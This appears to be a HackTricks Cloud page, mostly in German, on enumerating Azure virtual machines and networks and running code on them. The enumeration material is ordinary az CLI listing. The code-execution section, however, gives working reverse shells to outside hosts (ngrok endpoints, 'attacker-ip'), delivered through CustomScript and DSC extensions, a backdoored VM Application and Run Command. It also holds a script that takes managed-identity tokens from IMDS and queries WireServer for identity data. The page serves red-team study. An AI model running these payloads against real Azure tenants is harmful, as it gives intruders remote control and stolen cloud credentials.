Az - Virtual Machines & Network
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
Azure Networking Basic Info
Azure networks enthält verschiedene Entitäten und Möglichkeiten, sie zu konfigurieren. Du findest kurze Beschreibungen, Beispiele und Enumeration-Befehle der verschiedenen Azure-Netzwerkentitäten in:
VMs Basic information
Azure Virtual Machines (VMs) sind flexible, bedarfsgesteuerte cloud-based servers that let you run Windows or Linux operating systems. Sie ermöglichen es dir, Anwendungen und Workloads bereitzustellen, ohne physische Hardware verwalten zu müssen. Azure VMs können mit verschiedenen CPU-, Speicher- und Storage-Optionen konfiguriert werden, um spezifische Anforderungen zu erfüllen, und lassen sich in Azure-Services wie virtual networks, Storage und Security-Tools integrieren.
Security Configurations
- Availability Zones: Availability zones sind getrennte Gruppen von Datacentern innerhalb einer bestimmten Azure-Region, die physisch voneinander getrennt sind, um das Risiko zu minimieren, dass mehrere Zonen von lokalen Ausfällen oder Katastrophen betroffen sind.
- Security Type:
- Standard Security: Dies ist der Standard-Security-Type, der keine spezielle Konfiguration erfordert.
- Trusted Launch: Dieser Security-Type erhöht den Schutz vor Bootkits und Malware auf Kernel-Ebene durch Secure Boot und Virtual Trusted Platform Module (vTPM).
- Confidential VMs: Zusätzlich zu trusted launch bietet es hardwarebasierte Isolation zwischen der VM, dem Hypervisor und der Host-Verwaltung, verbessert die Disk-Verschlüsselung und more.
- Authentication: Standardmäßig wird ein neuer SSH key is generated, obwohl es möglich ist, einen öffentlichen key zu verwenden oder einen früheren key zu nutzen, und der Benutzername ist standardmäßig azureuser. Es ist auch möglich, die Verwendung eines password.
- VM disk encryption: Die Disk ist standardmäßig at rest mit einem von der Plattform verwalteten key verschlüsselt.
- Es ist auch möglich, Encryption at host zu aktivieren, wobei die Daten auf dem Host verschlüsselt werden, bevor sie an den Storage service gesendet werden, wodurch eine End-to-End-Verschlüsselung zwischen dem Host und dem Storage service gewährleistet wird (docs).
- NIC network security group:
- None: Öffnet im Grunde jeden Port
- Basic: Erlaubt es, die eingehenden Ports HTTP (80), HTTPS (443), SSH (22), RDP (3389) einfach zu öffnen
- Advanced: Wähle eine security group aus
- Backup: Es ist möglich, Standard backup (einmal pro Tag) und Enhanced (mehrmals pro Tag) zu aktivieren
- Patch orchestration options: Dies ermöglicht es, Patches in den VMs automatisch gemäß der ausgewählten Policy anzuwenden, wie in den docs beschrieben.
- Alerts: Es ist möglich, automatisch alerts per E-Mail oder mobile app zu erhalten, wenn in der VM etwas passiert. Standardregeln:
- Percentage CPU is greater than 80%
- Available Memory Bytes is less than 1GB
- Data Disks IOPS Consumed Percentage is greater than 95%
- OS IOPS Consumed Percentage is greater than 95%
- Network in Total is greater than 500GB
- Network Out Total is greater than 200GB
- VmAvailabilityMetric is less than 1
- Heath monitor: Standardmäßig wird das HTTP-Protokoll auf Port 80 geprüft
- Locks: Es erlaubt, eine VM zu sperren, sodass sie nur gelesen werden kann (ReadOnly lock) oder gelesen und aktualisiert, aber nicht gelöscht werden kann (CanNotDelete lock).
- Die meisten VM-bezogenen Ressourcen unterstützen ebenfalls locks wie disks, snapshots…
- Locks können auch auf resource group und subscription levels angewendet werden
Disks & snapshots
- Es ist möglich, zu aktivieren, dass eine disk an 2 oder mehr VMs angehängt werden kann
- Standardmäßig ist jede disk mit einem platform key verschlüsselt.
- Gleiches gilt für snapshots
- Standardmäßig ist es möglich, die disk von allen networks freizugeben, aber es kann auch auf nur einen bestimmten private access beschränkt oder der öffentliche und private Zugriff vollständig deaktiviert werden.
- Gleiches gilt für snapshots
- Es ist möglich, eine SAS URI zu generieren (mit maximal 60days), um die disk zu exportieren, wobei konfiguriert werden kann, ob Authentifizierung erforderlich ist oder nicht
- Gleiches gilt für snapshots
# List all disks
az disk list --output table
# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>
Images, Gallery Images & Restore points
Ein VM image ist eine Vorlage, die das Betriebssystem, die Anwendungseinstellungen und das Dateisystem enthält, die benötigt werden, um eine neue virtual machine (VM) zu erstellen. Der Unterschied zwischen einem image und einem disk snapshot besteht darin, dass ein disk snapshot eine schreibgeschützte, zeitpunktbezogene Kopie eines einzelnen managed disk ist, die hauptsächlich für backup oder troubleshooting verwendet wird, während ein image mehrere disks enthalten kann und als Vorlage zum Erstellen neuer VMs gedacht ist.
Images können im Images section von Azure oder in Azure compute galleries verwaltet werden, was es ermöglicht, versions zu erzeugen und das image tenantübergreifend zu sharen oder sogar öffentlich zu machen.
Ein restore point speichert die VM-Konfiguration und point-in-time-konsistente snapshots of all the managed disks der an die VM angehängten disks. Es ist mit der VM verknüpft und dient dazu, diese VM auf den Zustand dieses spezifischen Zeitpunkts zurückzusetzen.
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shaerd with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
Azure Site Recovery
Aus den docs: Site Recovery hilft dabei, die Geschäftskontinuität sicherzustellen, indem Business-Apps und Workloads während Ausfällen weiterlaufen. Site Recovery replicates workloads auf physischen und virtuellen Maschinen (VMs) von einem primären Standort zu einem sekundären Standort. Wenn an deinem primären Standort ein Ausfall auftritt, fail over zu einem sekundären Standort und greif von dort auf Apps zu. Nachdem der primäre Standort wieder läuft, kannst du fail back zu ihm.
Azure Bastion
Azure Bastion ermöglicht sicheren und nahtlosen Zugriff per Remote Desktop Protocol (RDP) und Secure Shell (SSH) auf deine virtuellen Maschinen (VMs) direkt über das Azure Portal oder über eine jump box. Durch das Entfernen der Notwendigkeit für öffentliche IP-Adressen auf deinen VMs.
Bastion deployt ein Subnetz namens AzureBastionSubnet mit einer /26-Netzmaske in dem VNet, in dem es arbeiten muss. Dann erlaubt es, über den Browser mit internen VMs zu verbinden mithilfe von RDP und SSH, wobei die Exponierung der Ports der VMs gegenüber dem Internet vermieden wird. Es kann auch als jump host arbeiten.
Um alle Azure Bastion Hosts in deinem Abonnement aufzulisten und dich über sie mit VMs zu verbinden, kannst du die folgenden Befehle verwenden:
# List bastions
az network bastion list -o table
# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa
# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>
Metadata
Der Azure Instance Metadata Service (IMDS) stellt Informationen über laufende virtual machine instances bereit, um deren Verwaltung und Konfiguration zu unterstützen. Er bietet Details wie die SKU, Storage-, Netzwerk-Konfigurationen und Informationen über bevorstehende Wartungsereignisse über eine REST API, die unter der nicht routbaren IP-Adresse 169.254.169.254 verfügbar ist, und nur innerhalb der VM erreichbar ist. Die Kommunikation zwischen der VM und IMDS bleibt innerhalb des Hosts, wodurch sicherer Zugriff gewährleistet wird. Beim Abfragen von IMDS sollten HTTP clients innerhalb der VM Web-Proxies umgehen, um eine korrekte Kommunikation sicherzustellen.
Außerdem muss die HTTP-Anfrage an den metadata endpoint den Header Metadata: true enthalten und darf den Header X-Forwarded-For nicht enthalten.
Wenn ein access token für den metadata endpoint angefordert wird, verwendet der metadata service standardmäßig die system assigned managed identity, um das token zu generieren, falls eine system assigned managed identity vorhanden ist. Falls es nur EINE user assigned managed identity gibt, wird diese standardmäßig verwendet. Wenn jedoch keine system assigned managed identity vorhanden ist und es mehrere user assigned managed identities gibt, gibt der metadata service einen Fehler zurück, der darauf hinweist, dass es mehrere managed identities gibt und dass es notwendig ist, anzugeben, welche verwendet werden soll.
Prüfe, wie man es enumerieren kann in:
VM Enumeration
# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>
## List all available VM images and get info about one
az vm image list --all --output table
# VM Extensions
## List all VM extensions
az vm extension image list --output table
## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>
## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>
# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shared with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
# Bastion
## list all bastions
az network bastion list -o table
# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"
## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table
## List public IPs
az network public-ip list --output table
## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table
## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"
## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>
## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table
## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table
# Misc
## List all virtual machine scale sets
az vmss list --output table
## List all availability sets
az vm availability-set list --output table
## List all load balancers
az network lb list --output table
## List all storage accounts
az storage account list --output table
## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>
# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>
## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table
# List all available run commands for virtual machines
az vm run-command list --output table
Code Execution in VMs
VM Extensions
Azure VM extensions sind kleine Anwendungen, die post-deployment configuration und Automatisierungsaufgaben auf Azure virtual machines (VMs) bereitstellen.
Dies würde es ermöglichen, arbitrary code inside VMs auszuführen.
Die erforderliche Berechtigung ist Microsoft.Compute/virtualMachines/extensions/write.
Es ist möglich, alle verfügbaren Extensions mit folgendem Befehl aufzulisten:
# It takes some mins to run
az vm extension image list --output table
# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
Es ist möglich, benutzerdefinierte Extensions auszuführen, die benutzerdefinierten Code ausführen:
- Führe eine reverse shell aus
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
- Führe ein Script aus, das sich im Internet befindet
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
Relevante VM-Erweiterungen
Die erforderliche Berechtigung ist weiterhin Microsoft.Compute/virtualMachines/extensions/write.
VMAccess extension
Diese Erweiterung erlaubt es, das Passwort von Benutzern innerhalb von Windows VMs zu ändern (oder zu erstellen, falls es nicht existiert).
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)
Dies ist eine VM extension, die Microsoft gehört und PowerShell DSC verwendet, um die Konfiguration von Azure Windows VMs zu verwalten. Daher kann sie verwendet werden, um über diese extension beliebige Befehle auszuführen in Windows VMs:
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output
# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force
# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hybrid Runbook Worker
Dies ist eine VM-Erweiterung, die es ermöglicht, runbooks in VMs von einem automation account aus auszuführen. Weitere Informationen findest du im Automation Accounts service.
VM Applications
Dies sind Pakete mit allen application data und install and uninstall scripts, die verwendet werden können, um Anwendungen in VMs einfach hinzuzufügen und zu entfernen.
# List all galleries in resource group
az sig list --resource-group <res-group> --output table
# List all apps in a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
Dies sind die Pfade, unter denen die Anwendungen im Dateisystem heruntergeladen werden:
- Linux:
/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version> - Windows:
C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>
Sieh dir an, wie man neue Anwendungen installiert in https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli
Caution
Es ist möglich, einzelne Apps und galleries mit anderen subscriptions oder tenants zu teilen. Das ist sehr interessant, weil es einem Angreifer ermöglichen könnte, eine Anwendung zu backdooren und zu anderen subscriptions und tenants zu pivoten.
Aber es gibt keinen “marketplace” für vm apps wie bei extensions.
Die erforderlichen permissions sind:
Microsoft.Compute/galleries/applications/writeMicrosoft.Compute/galleries/applications/versions/writeMicrosoft.Compute/virtualMachines/writeMicrosoft.Network/networkInterfaces/join/actionMicrosoft.Compute/disks/write
Ausnutzungsbeispiel, um beliebige commands auszuführen:
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
Benutzerdaten
Dies sind persistente Daten, die jederzeit vom metadata endpoint abgerufen werden können. Beachten Sie, dass Benutzerdaten in Azure sich von AWS und GCP unterscheiden, weil wenn Sie hier ein script platzieren, es standardmäßig nicht ausgeführt wird.
Custom data
Es ist möglich, einige Daten an die VM zu übergeben, die an den erwarteten Pfaden gespeichert werden:
- In Windows wird custom data in
%SYSTEMDRIVE%\AzureData\CustomData.binals Binärdatei abgelegt und nicht verarbeitet. - In Linux wurde es in
/var/lib/waagent/ovf-env.xmlgespeichert und jetzt wird es in/var/lib/waagent/CustomData/ovf-env.xmlgespeichert - Linux agent: Er verarbeitet custom data standardmäßig nicht, dafür wird ein benutzerdefiniertes image mit aktivierten Daten benötigt
- cloud-init: Standardmäßig verarbeitet es custom data, und diese Daten können in several formats vorliegen. Es könnte ein script leicht ausführen, indem einfach das script in den custom data gesendet wird.
- Ich habe getestet, dass sowohl Ubuntu als auch Debian das script ausführen, das man hier einfügt.
- Es ist auch nicht nötig, user data zu aktivieren, damit dies ausgeführt wird.
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt
Run Command
Dies ist der grundlegendste Mechanismus, den Azure bereitstellt, um beliebige Befehle in VMs auszuführen. Die benötigte Berechtigung ist Microsoft.Compute/virtualMachines/runCommand/action.
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh
# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
Azure WireServer & GoalState
Azure VMs stellen interne Plattform-Endpunkte bereit, die für Konfiguration, Metadata-Abruf und Identity-Management verwendet werden. Das Verständnis des Unterschieds zwischen ihnen ist entscheidend für enumeration, privilege escalation und post-exploitation.
Wire Server (Azure Fabric Endpoint)
Der Azure WireServer ist eine interne Azure-IP (168.63.129.16), die von der Plattform verwendet wird, um mit der VM zu kommunizieren.
Er ist verantwortlich für:
- Kommunikation mit dem VM Agent
- Bereitstellung von:
- GoalState
- ExtensionsConfig
- Interner VM-Konfiguration (einschließlich Identities)
- DHCP- & DNS-Services
- Health Monitoring
GoalState & ExtensionsConfig
Das GoalState repräsentiert die gewünschte Konfiguration der VM, wie sie von Azure definiert wird. Es kann Folgendes enthalten:
- Extensions-Konfiguration
- Managed Identities
- Provisioning-Status
- Agent-Anweisungen
Die ExtensionsConfig enthält detaillierte Konfigurationen von VM-Extensions und kann Folgendes enthalten:
- User Assigned Managed Identities
- Extension-Einstellungen
- Secrets (abhängig von der Extension)
Diese Endpunkte werden typischerweise über Folgendes aufgerufen:
curl -H "x-ms-version: 2012-11-30" http://168.63.129.16/machine?comp=goalstate
Access considerations
Die WireServer-IP ist allgemein von innerhalb der VM über den Guest-Netzwerk-Stack erreichbar. Sie ist nicht nur für den Azure VM Agent, Run Command oder VM extensions eingeschränkt. Microsoft dokumentiert sogar agentless Linux provisioning-Beispiele, bei denen gewöhnliche in-guest scripts GoalState direkt von 168.63.129.16 abfragen.
Allerdings wird nicht jeder Prozess zwangsläufig dasselbe praktische Ergebnis erhalten:
- Einige Endpoints erfordern Azure-spezifische Header, wie
x-ms-version: 2012-11-30für GoalState. - Lokale guest controls können den Zugriff blockieren oder verändern, darunter host firewall rules, proxies, routes, network namespaces, containers oder endpoint protection.
- VM extensions und Run Command laufen typischerweise als
root/SYSTEMüber den VM Agent und können daher lokale OS-Einschränkungen umgehen, die einen interaktiven Benutzer betreffen. - Einige Daten sind agent/extension-spezifisch und können vom provisioning state der VM, vom installierten Agent, von konfigurierten extensions oder von der managed identity configuration abhängen.
Wenn also eine Anfrage aus Run Command funktioniert, aber aus SSH fehlschlägt, ist die übliche Erklärung ein Unterschied bei OS user, environment, routing, proxy, firewall oder namespace, nicht eine allgemeine Azure-Regel, dass nur agent execution contexts 168.63.129.16 erreichen können.
In Labortests war dieser Unterschied sichtbar: Linux/Windows VM Agent-Ausführung über Run Command oder Custom Script extensions konnte GoalState auf 168.63.129.16 erreichen, während eine normale SSH-Session auf einer anderen Linux-VM zwar noch IMDS erreichen konnte, aber beim Abfragen von GoalState in einen Timeout lief. Behandle WireServer/GoalState als nützlich, aber environment-dependent; verlasse dich nicht darauf als die kanonische Methode, um managed identities zu enumerieren.
Managed Identity Access From Inside the VM
Der zuverlässige Weg, die managed identities einer VM zu nutzen, ist der IMDS managed identity endpoint auf 169.254.169.254, nicht das WireServer ExtensionsConfig XML. Scripts, die nur ExtensionsConfig nach UserAssignedIdentity-Knoten durchsuchen, sind nicht zuverlässig, weil:
- Die managed identity assignment der VM nicht garantiert als
UserAssignedIdentity-Knoten in extension XML dargestellt wird. - Sie system-assigned managed identities übersehen.
- Sie user-assigned identities nur finden, wenn das aktuelle GoalState/extension-Datenformat zufällig die erwartete XML-Struktur offenlegt.
Microsofts dokumentiertes Sicherheitsmodell ist, dass aller Code, der auf der VM läuft, Tokens für die auf dieser VM verfügbaren managed identities anfordern kann. Das wurde bestätigt aus:
- Linux SSH als normaler VM-Benutzer.
- Linux Run Command über den VM Agent.
- Linux Custom Script extension über den VM Agent.
- Windows Custom Script extension als
NT AUTHORITY\SYSTEM.
In all diesen Kontexten konnte IMDS Tokens für Management, Microsoft Graph/Entra ID, Key Vault und Storage ausstellen, wenn die angeforderte identity für die VM verfügbar war.
Es gibt zwei verschiedene Probleme, die leicht verwechselt werden:
- Einen Token für eine bekannte identity erhalten: Wenn die identity der VM zugewiesen ist, kann IMDS Tokens für verschiedene Audiences ausstellen, wie
https://management.azure.com/,https://graph.microsoft.com/,https://vault.azure.netundhttps://storage.azure.com/. Wenn mehrere user-assigned identities existieren, fordere eine bestimmte mitclient_id,object_idodermsi_res_idan. - Jede angehängte identity von innerhalb der VM entdecken: IMDS bietet keinen einfachen Endpoint “liste alle identities”. Eine praktische Methode ist, einen standardmäßigen Management-Token zu holen, die VM-Ressource über ARM zu lesen und die
identity-Property zu prüfen. Das funktioniert nur, wenn diese managed identity Berechtigungen wieMicrosoft.Compute/virtualMachines/readauf der VM hat. Wenn ARM403zurückgibt, kann der Token trotzdem gültig und nützlich sein, aber er kann die vollständige identity-Liste der VM nicht enumerieren.
Wenn die ARM-Discovery fehlschlägt, kannst du trotzdem WireServer/HostGAPlugin-Quellen wie GoalState und http://168.63.129.16:32526/vmSettings versuchen, um nach identity-ähnlichen Feldern (clientId, IdentityClientId, msi_res_id, user-assigned identity resource IDs) zu suchen und dann IMDS mit diesen Selektoren nach Tokens zu fragen. Das ist ein Fallback, keine Garantie: Diese Endpoints sind kontextabhängig und können überhaupt keine managed identity selectors offenlegen.
Die folgenden Beispiele fordern zuerst einen Token an. Danach versuchen sie, die VM-Ressource aus Azure Resource Manager zu lesen und ihre identity-Property auszugeben. Der zweite Schritt funktioniert nur, wenn die managed identity Berechtigungen wie Microsoft.Compute/virtualMachines/read auf der VM hat.
#!/usr/bin/env bash
set -euo pipefail
imds="http://169.254.169.254/metadata"
api_version="2021-02-01"
resource="${1:-https://management.azure.com/}"
# Optional. Examples:
# export MSI_SELECTOR='client_id=<client-id>'
# export MSI_SELECTOR='object_id=<principal-id>'
# export MSI_SELECTOR='msi_res_id=/subscriptions/.../userAssignedIdentities/name'
selector="${MSI_SELECTOR:-}"
urlencode() {
python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' "$1"
}
token_url="$imds/identity/oauth2/token?api-version=$api_version&resource=$(urlencode "$resource")"
if [[ -n "$selector" ]]; then
token_url="$token_url&$selector"
fi
echo "[*] Requesting managed identity token for: $resource"
token_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$token_url")"
access_token="$(
TOKEN_JSON="$token_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["TOKEN_JSON"])["access_token"])
PY
)"
TOKEN="$access_token" python3 - <<'PY'
import base64, json, os
token = os.environ["TOKEN"]
payload = token.split(".")[1]
payload += "=" * (-len(payload) % 4)
claims = json.loads(base64.urlsafe_b64decode(payload))
print("[+] Token acquired")
for key in ("tid", "appid", "oid", "xms_mirid"):
if key in claims:
print(f" {key}: {claims[key]}")
PY
echo "[*] Trying to read the VM identity property through ARM..."
compute_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$imds/instance/compute?api-version=$api_version")"
vm_id="$(
COMPUTE_JSON="$compute_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["COMPUTE_JSON"])["resourceId"])
PY
)"
arm_url="https://management.azure.com${vm_id}?api-version=2024-07-01"
if vm_json="$(curl -fsS -H "Authorization: Bearer $access_token" "$arm_url" 2>/dev/null)"; then
VM_JSON="$vm_json" python3 - <<'PY'
import json, os
vm = json.loads(os.environ["VM_JSON"])
print(json.dumps(vm.get("identity", {}), indent=2))
PY
else
echo "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM."
fi
Privilege Escalation
Az - Virtual Machines & Network Privesc
Unauthenticated Access
Post Exploitation
Az - VMs & Network Post Exploitation
Persistence
References
- https://learn.microsoft.com/en-us/azure/virtual-machines/overview
- https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/
- https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service
- https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token
- https://learn.microsoft.com/en-us/azure/virtual-network/what-is-ip-address-168-63-129-16
- https://learn.microsoft.com/en-us/azure/virtual-machines/linux/no-agent
- https://learn.microsoft.com/en-us/azure/virtual-machines/run-command
- https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/agent-linux
- https://www.cybercx.com.au/blog/azure-ssrf-metadata/
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
HackTricks Cloud

